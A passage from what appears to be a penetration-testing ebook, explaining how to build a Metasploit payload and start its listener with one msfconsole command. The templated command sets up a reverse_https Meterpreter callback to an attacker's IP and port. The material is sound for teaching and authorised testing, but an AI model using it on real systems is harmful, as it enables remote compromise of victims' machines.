Generating an MSF payload using msfconsole (one-liner)

By using the MSF console and executing the commands for payload generation, you can generate any MSF supported payload. One advantage of using this technique is that you don't have to start a payload handler separately. This can be done using a single-line command. To generate the payload and start the handler, execute the following code:

'msfconsole -qx "use <MSF supported payload>; set lhost<IP>; set lport <Port>; generate -f<Output File Format> -o<payload filename>; use exploit/multi/handler; set payload<MSF supported payload>; set lhost <IP>; set lport <Port>; run -j"'

The following screenshot shows the output of the preceding command:

The preceding command will generate the reverse_https Meterpreter payload. List it to confirm the generated payload and start the handler on port 9090 for the incoming connections. Another way to generate the payload is by using MSFvenom.

In the preceding command, the -q switch is used to start MSF in quiet mode, and -x executes the command in the console after it's started.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.19.27.178